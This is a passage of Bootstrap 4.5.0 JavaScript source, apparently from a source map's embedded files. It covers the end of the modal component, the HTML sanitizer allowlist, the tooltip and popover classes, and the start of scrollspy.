[].slice.call(document.querySelectorAll(SELECTOR_FIXED_CONTENT))\n $(fixedContent).each((index, element) => {\n const padding = $(element).data('padding-right')\n $(element).removeData('padding-right')\n element.style.paddingRight = padding ? padding : ''\n })\n\n // Restore sticky content\n const elements = [].slice.call(document.querySelectorAll(`${SELECTOR_STICKY_CONTENT}`))\n $(elements).each((index, element) => {\n const margin = $(element).data('margin-right')\n if (typeof margin !== 'undefined') {\n $(element).css('margin-right', margin).removeData('margin-right')\n }\n })\n\n // Restore body padding\n const padding = $(document.body).data('padding-right')\n $(document.body).removeData('padding-right')\n document.body.style.paddingRight = padding ? padding : ''\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = CLASS_NAME_SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = {\n ...Default,\n ...$(this).data(),\n ...typeof config === 'object' && config ? config : {}\n }\n\n if (!data) {\n data = new Modal(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config](relatedTarget)\n } else if (_config.show) {\n data.show(relatedTarget)\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document).on(EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n let target\n const selector = Util.getSelectorFromElement(this)\n\n if (selector) {\n target = document.querySelector(selector)\n }\n\n const config = $(target).data(DATA_KEY)\n ? 'toggle' : {\n ...$(target).data(),\n ...$(this).data()\n }\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n const $target = $(target).one(EVENT_SHOW, (showEvent) => {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return\n }\n\n $target.one(EVENT_HIDDEN, () => {\n if ($(this).is(':visible')) {\n this.focus()\n }\n })\n })\n\n Modal._jQueryInterface.call($(target), config, this)\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Modal._jQueryInterface\n$.fn[NAME].Constructor = Modal\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Modal._jQueryInterface\n}\n\nexport default Modal\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): tools/sanitizer.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst uriAttrs = [\n 'background',\n 'cite',\n 'href',\n 'itemtype',\n 'longdesc',\n 'poster',\n 'src',\n 'xlink:href'\n]\n\nconst ARIA_ATTRIBUTE_PATTERN = /^aria-[\\w-]*$/i\n\nexport const DefaultWhitelist = {\n // Global attributes allowed on any supplied element below.\n '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],\n a: ['target', 'href', 'title', 'rel'],\n area: [],\n b: [],\n br: [],\n col: [],\n code: [],\n div: [],\n em: [],\n hr: [],\n h1: [],\n h2: [],\n h3: [],\n h4: [],\n h5: [],\n h6: [],\n i: [],\n img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],\n li: [],\n ol: [],\n p: [],\n pre: [],\n s: [],\n small: [],\n span: [],\n sub: [],\n sup: [],\n strong: [],\n u: [],\n ul: []\n}\n\n/**\n * A pattern that recognizes a commonly useful subset of URLs that are safe.\n *\n * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/gi\n\n/**\n * A pattern that matches safe data URLs. Only matches image, video and audio types.\n *\n * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst DATA_URL_PATTERN = /^data:(?:image\\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\\/(?:mpeg|mp4|ogg|webm)|audio\\/(?:mp3|oga|ogg|opus));base64,[\\d+/a-z]+=*$/i\n\nfunction allowedAttribute(attr, allowedAttributeList) {\n const attrName = attr.nodeName.toLowerCase()\n\n if (allowedAttributeList.indexOf(attrName) !== -1) {\n if (uriAttrs.indexOf(attrName) !== -1) {\n return Boolean(attr.nodeValue.match(SAFE_URL_PATTERN) || attr.nodeValue.match(DATA_URL_PATTERN))\n }\n\n return true\n }\n\n const regExp = allowedAttributeList.filter((attrRegex) => attrRegex instanceof RegExp)\n\n // Check if a regular expression validates the attribute.\n for (let i = 0, len = regExp.length; i < len; i++) {\n if (attrName.match(regExp[i])) {\n return true\n }\n }\n\n return false\n}\n\nexport function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {\n if (unsafeHtml.length === 0) {\n return unsafeHtml\n }\n\n if (sanitizeFn && typeof sanitizeFn === 'function') {\n return sanitizeFn(unsafeHtml)\n }\n\n const domParser = new window.DOMParser()\n const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html')\n const whitelistKeys = Object.keys(whiteList)\n const elements = [].slice.call(createdDocument.body.querySelectorAll('*'))\n\n for (let i = 0, len = elements.length; i < len; i++) {\n const el = elements[i]\n const elName = el.nodeName.toLowerCase()\n\n if (whitelistKeys.indexOf(el.nodeName.toLowerCase()) === -1) {\n el.parentNode.removeChild(el)\n\n continue\n }\n\n const attributeList = [].slice.call(el.attributes)\n const whitelistedAttributes = [].concat(whiteList['*'] || [], whiteList[elName] || [])\n\n attributeList.forEach((attr) => {\n if (!allowedAttribute(attr, whitelistedAttributes)) {\n el.removeAttribute(attr.nodeName)\n }\n })\n }\n\n return createdDocument.body.innerHTML\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n DefaultWhitelist,\n sanitizeHtml\n} from './tools/sanitizer'\nimport $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'tooltip'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.tooltip'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\nconst CLASS_PREFIX = 'bs-tooltip'\nconst BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\nconst DISALLOWED_ATTRIBUTES = ['sanitize', 'whiteList', 'sanitizeFn']\n\nconst DefaultType = {\n animation : 'boolean',\n template : 'string',\n title : '(string|element|function)',\n trigger : 'string',\n delay : '(number|object)',\n html : 'boolean',\n selector : '(string|boolean)',\n placement : '(string|function)',\n offset : '(number|string|function)',\n container : '(string|element|boolean)',\n fallbackPlacement : '(string|array)',\n boundary : '(string|element)',\n sanitize : 'boolean',\n sanitizeFn : '(null|function)',\n whiteList : 'object',\n popperConfig : '(null|object)'\n}\n\nconst AttachmentMap = {\n AUTO : 'auto',\n TOP : 'top',\n RIGHT : 'right',\n BOTTOM : 'bottom',\n LEFT : 'left'\n}\n\nconst Default = {\n animation : true,\n template : '
' +\n '
' +\n '
',\n trigger : 'hover focus',\n title : '',\n delay : 0,\n html : false,\n selector : false,\n placement : 'top',\n offset : 0,\n container : false,\n fallbackPlacement : 'flip',\n boundary : 'scrollParent',\n sanitize : true,\n sanitizeFn : null,\n whiteList : DefaultWhitelist,\n popperConfig : null\n}\n\nconst HOVER_STATE_SHOW = 'show'\nconst HOVER_STATE_OUT = 'out'\n\nconst Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n}\n\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\nconst SELECTOR_TOOLTIP_INNER = '.tooltip-inner'\nconst SELECTOR_ARROW = '.arrow'\n\nconst TRIGGER_HOVER = 'hover'\nconst TRIGGER_FOCUS = 'focus'\nconst TRIGGER_CLICK = 'click'\nconst TRIGGER_MANUAL = 'manual'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Tooltip {\n constructor(element, config) {\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s tooltips require Popper.js (https://popper.js.org/)')\n }\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.element = element\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const dataKey = this.constructor.DATA_KEY\n let context = $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if ($(this.getTipElement()).hasClass(CLASS_NAME_SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n $.removeData(this.element, this.constructor.DATA_KEY)\n\n $(this.element).off(this.constructor.EVENT_KEY)\n $(this.element).closest('.modal').off('hide.bs.modal', this._hideModalHandler)\n\n if (this.tip) {\n $(this.tip).remove()\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.element = null\n this.config = null\n this.tip = null\n }\n\n show() {\n if ($(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n const showEvent = $.Event(this.constructor.Event.SHOW)\n if (this.isWithContent() && this._isEnabled) {\n $(this.element).trigger(showEvent)\n\n const shadowRoot = Util.findShadowRoot(this.element)\n const isInTheDom = $.contains(\n shadowRoot !== null ? shadowRoot : this.element.ownerDocument.documentElement,\n this.element\n )\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = Util.getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this.element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n $(tip).addClass(CLASS_NAME_FADE)\n }\n\n const placement = typeof this.config.placement === 'function'\n ? this.config.placement.call(this, tip, this.element)\n : this.config.placement\n\n const attachment = this._getAttachment(placement)\n this.addAttachmentClass(attachment)\n\n const container = this._getContainer()\n $(tip).data(this.constructor.DATA_KEY, this)\n\n if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $(tip).appendTo(container)\n }\n\n $(this.element).trigger(this.constructor.Event.INSERTED)\n\n this._popper = new Popper(this.element, tip, this._getPopperConfig(attachment))\n\n $(tip).addClass(CLASS_NAME_SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n const complete = () => {\n if (this.config.animation) {\n this._fixTransition()\n }\n const prevHoverState = this._hoverState\n this._hoverState = null\n\n $(this.element).trigger(this.constructor.Event.SHOWN)\n\n if (prevHoverState === HOVER_STATE_OUT) {\n this._leave(null, this)\n }\n }\n\n if ($(this.tip).hasClass(CLASS_NAME_FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n $(this.tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n }\n\n hide(callback) {\n const tip = this.getTipElement()\n const hideEvent = $.Event(this.constructor.Event.HIDE)\n const complete = () => {\n if (this._hoverState !== HOVER_STATE_SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this.element.removeAttribute('aria-describedby')\n $(this.element).trigger(this.constructor.Event.HIDDEN)\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n if (callback) {\n callback()\n }\n }\n\n $(this.element).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n $(tip).removeClass(CLASS_NAME_SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n this._activeTrigger[TRIGGER_CLICK] = false\n this._activeTrigger[TRIGGER_FOCUS] = false\n this._activeTrigger[TRIGGER_HOVER] = false\n\n if ($(this.tip).hasClass(CLASS_NAME_FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n $(tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const tip = this.getTipElement()\n this.setElementContent($(tip.querySelectorAll(SELECTOR_TOOLTIP_INNER)), this.getTitle())\n $(tip).removeClass(`${CLASS_NAME_FADE} ${CLASS_NAME_SHOW}`)\n }\n\n setElementContent($element, content) {\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (this.config.html) {\n if (!$(content).parent().is($element)) {\n $element.empty().append(content)\n }\n } else {\n $element.text($(content).text())\n }\n\n return\n }\n\n if (this.config.html) {\n if (this.config.sanitize) {\n content = sanitizeHtml(content, this.config.whiteList, this.config.sanitizeFn)\n }\n\n $element.html(content)\n } else {\n $element.text(content)\n }\n }\n\n getTitle() {\n let title = this.element.getAttribute('data-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function'\n ? this.config.title.call(this.element)\n : this.config.title\n }\n\n return title\n }\n\n // Private\n\n _getPopperConfig(attachment) {\n const defaultBsConfig = {\n placement: attachment,\n modifiers: {\n offset: this._getOffset(),\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: SELECTOR_ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: (data) => {\n if (data.originalPlacement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n },\n onUpdate: (data) => this._handlePopperPlacementChange(data)\n }\n\n return {\n ...defaultBsConfig,\n ...this.config.popperConfig\n }\n }\n\n _getOffset() {\n const offset = {}\n\n if (typeof this.config.offset === 'function') {\n offset.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this.config.offset(data.offsets, this.element) || {}\n }\n\n return data\n }\n } else {\n offset.offset = this.config.offset\n }\n\n return offset\n }\n\n _getContainer() {\n if (this.config.container === false) {\n return document.body\n }\n\n if (Util.isElement(this.config.container)) {\n return $(this.config.container)\n }\n\n return $(document).find(this.config.container)\n }\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach((trigger) => {\n if (trigger === 'click') {\n $(this.element).on(\n this.constructor.Event.CLICK,\n this.config.selector,\n (event) => this.toggle(event)\n )\n } else if (trigger !== TRIGGER_MANUAL) {\n const eventIn = trigger === TRIGGER_HOVER\n ? this.constructor.Event.MOUSEENTER\n : this.constructor.Event.FOCUSIN\n const eventOut = trigger === TRIGGER_HOVER\n ? this.constructor.Event.MOUSELEAVE\n : this.constructor.Event.FOCUSOUT\n\n $(this.element)\n .on(eventIn, this.config.selector, (event) => this._enter(event))\n .on(eventOut, this.config.selector, (event) => this._leave(event))\n }\n })\n\n this._hideModalHandler = () => {\n if (this.element) {\n this.hide()\n }\n }\n\n $(this.element).closest('.modal').on('hide.bs.modal', this._hideModalHandler)\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const titleType = typeof this.element.getAttribute('data-original-title')\n\n if (this.element.getAttribute('title') || titleType !== 'string') {\n this.element.setAttribute(\n 'data-original-title',\n this.element.getAttribute('title') || ''\n )\n\n this.element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n const dataKey = this.constructor.DATA_KEY\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER\n ] = true\n }\n\n if ($(context.getTipElement()).hasClass(CLASS_NAME_SHOW) || context._hoverState === HOVER_STATE_SHOW) {\n context._hoverState = HOVER_STATE_SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HOVER_STATE_SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HOVER_STATE_SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n const dataKey = this.constructor.DATA_KEY\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HOVER_STATE_OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HOVER_STATE_OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n const dataAttributes = $(this.element).data()\n\n Object.keys(dataAttributes)\n .forEach((dataAttr) => {\n if (DISALLOWED_ATTRIBUTES.indexOf(dataAttr) !== -1) {\n delete dataAttributes[dataAttr]\n }\n })\n\n config = {\n ...this.constructor.Default,\n ...dataAttributes,\n ...typeof config === 'object' && config ? config : {}\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n if (config.sanitize) {\n config.template = sanitizeHtml(config.template, config.whiteList, config.sanitizeFn)\n }\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n _handlePopperPlacementChange(popperData) {\n this.tip = popperData.instance.popper\n this._cleanTipClass()\n this.addAttachmentClass(this._getAttachment(popperData.placement))\n }\n\n _fixTransition() {\n const tip = this.getTipElement()\n const initConfigAnimation = this.config.animation\n\n if (tip.getAttribute('x-placement') !== null) {\n return\n }\n\n $(tip).removeClass(CLASS_NAME_FADE)\n this.config.animation = false\n this.hide()\n this.show()\n this.config.animation = initConfigAnimation\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Tooltip._jQueryInterface\n$.fn[NAME].Constructor = Tooltip\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tooltip._jQueryInterface\n}\n\nexport default Tooltip\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'popover'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.popover'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\nconst CLASS_PREFIX = 'bs-popover'\nconst BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\nconst Default = {\n ...Tooltip.Default,\n placement : 'right',\n trigger : 'click',\n content : '',\n template : '
' +\n '
' +\n '

' +\n '
'\n}\n\nconst DefaultType = {\n ...Tooltip.DefaultType,\n content : '(string|element|function)'\n}\n\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\nconst SELECTOR_TITLE = '.popover-header'\nconst SELECTOR_CONTENT = '.popover-body'\n\nconst Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n}\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Popover extends Tooltip {\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n\n // We use append for html objects to maintain js events\n this.setElementContent($tip.find(SELECTOR_TITLE), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this.element)\n }\n this.setElementContent($tip.find(SELECTOR_CONTENT), content)\n\n $tip.removeClass(`${CLASS_NAME_FADE} ${CLASS_NAME_SHOW}`)\n }\n\n // Private\n\n _getContent() {\n return this.element.getAttribute('data-content') ||\n this.config.content\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Popover._jQueryInterface\n$.fn[NAME].Constructor = Popover\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Popover._jQueryInterface\n}\n\nexport default Popover\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'scrollspy'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.scrollspy'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\n\nconst Default = {\n offset : 10,\n method : 'auto',\n target : ''\n}\n\nconst DefaultType = {\n offset : 'number',\n method : 'string',\n target : '(string|element)'\n}\n\nconst EVENT_ACTIVATE = `activate${EVENT_KEY}`\nconst EVENT_SCROLL = `scroll${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item'\nconst CLASS_NAME_ACTIVE = 'active'\n\nconst SELECTOR_DATA_SPY = '[data-spy=\"scroll\"]'\nconst SELECTOR_NAV_LIST_GROUP = '.nav, .list-group'\nconst SELECTOR_NAV_LINKS = '.nav-link'\nconst SELECTOR_NAV_ITEMS = '.nav-item'\nconst SELECTOR_LIST_ITEMS = '.list-group-item'\nconst SELECTOR_DROPDOWN = '.dropdown'\nconst SELECTOR_DROPDOWN_ITEMS = '.dropdown-item'\nconst SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle'\n\nconst METHOD_OFFSET = 'offset'\nconst METHOD_POSITION = 'position'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass ScrollSpy {\n constructor(element, config) {\n this._element = element\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${SELECTOR_NAV_LINKS},` +\n `${this._config.target} ${SELECTOR_LIST_ITEMS},` +\n `${this._config.target} ${SELECTOR_DROPDOWN_ITEMS}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n $(this._scrollElement).on(EVENT_SCROLL, (event) => this._process(event))\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window\n ? METHOD_OFFSET : METHOD_POSITION\n\n const offsetMethod = this._config.method === 'auto'\n ? autoMethod : this._config.method\n\n const offsetBase = offsetMethod === METHOD_POSITION\n ? this._getScrollTop() : 0\n\n this._offsets = []\n this._targets = []\n\n this._scrollHeight = this._getScrollHeight()\n\n const targets = [].slice.call(document.querySelectorAll(this._selector))\n\n targets\n .map((element) => {\n let target\n const targetSelector = Util.getSelectorFromElement(element)\n\n if (targetSelector) {\n target = document.querySelector(targetSelector)\n }\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [\n $(target)[offsetMethod]().top + offsetBase,\n targetSelector\n ]\n }\n }\n return null\n })\n .filter((item) => item)\n .sort((a, b) => a[0] - b[0])\n .forEach((item) => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._scrollElement).off(EVENT_KEY)\n\n this._element = null\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...typeof config 